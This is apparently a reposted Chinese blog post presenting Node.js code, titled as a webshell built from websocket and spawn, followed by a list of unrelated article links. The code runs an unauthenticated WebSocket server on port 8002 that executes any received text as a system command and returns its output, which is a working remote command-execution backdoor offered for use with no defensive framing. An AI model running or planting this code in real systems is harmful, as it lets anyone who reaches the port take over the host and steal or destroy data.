博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
express+websocket+exec+spawn=webshell
阅读量:7040 次
发布时间:2019-06-28

本文共 910 字,大约阅读时间需要 3 分钟。

var child_process = require('child_process');var ws = require("nodejs-websocket");console.log("initialing conn...")var server = ws.createServer(function(conn){    conn.on("text", function (str) {    var arr=str.split(" ");    var comm=arr.shift();        console.log("received:"+str);    aa(comm,arr,conn);   });    conn.on("error", function (code, reason) {        console.log("异常关闭")    });}).listen(8002)function aa(comm,arr,conn){     var spawnObj = child_process.spawn(comm,arr, {encoding: 'utf-8'});                spawnObj.stdout.on('data', function(chunk) {              conn.sendText(chunk.toString( ));        });        spawnObj.stderr.on('data',(data)=>{                         console.log('error:${data}');        });        spawnObj.on('error',(err)=>{                console.log('subProcess Failed'+err);        });}console.log("WebSocket建立完毕")

 

转载于:https://www.cnblogs.com/wblade/p/8978636.html

你可能感兴趣的文章
FZU2169 shadow题解
查看>>
教你正确打开async/await关键字的使用
查看>>
python 字符串复制
查看>>
【SignalR学习系列】2. 第一个SignalR程序
查看>>
js window.onload 的一个验证
查看>>
Lesson 1#08 格式化输出
查看>>
Nand Flash与Nor Flash
查看>>
sqlserver datetime的bug?
查看>>
python中元组tuple详细解析
查看>>
UVA 11178 Morley's Theorem (计算几何)
查看>>
颜色渐变的柱状图
查看>>
基于vue-cli配置移动端自适应
查看>>
处理eclipse启动时报java.lang.IllegalStateException
查看>>
BAT美团滴滴java面试大纲(带答案版)之四:多线程Lock
查看>>
第一次作业
查看>>
51nod 1068 Bash游戏 V3 博弈
查看>>
vue-axios当只调用vue.js又需要axios请求多时
查看>>
CodeM美团点评编程大赛初赛A轮
查看>>
SSM框架快速整合的实例-学生查询
查看>>
42行代码完成深入虎穴
查看>>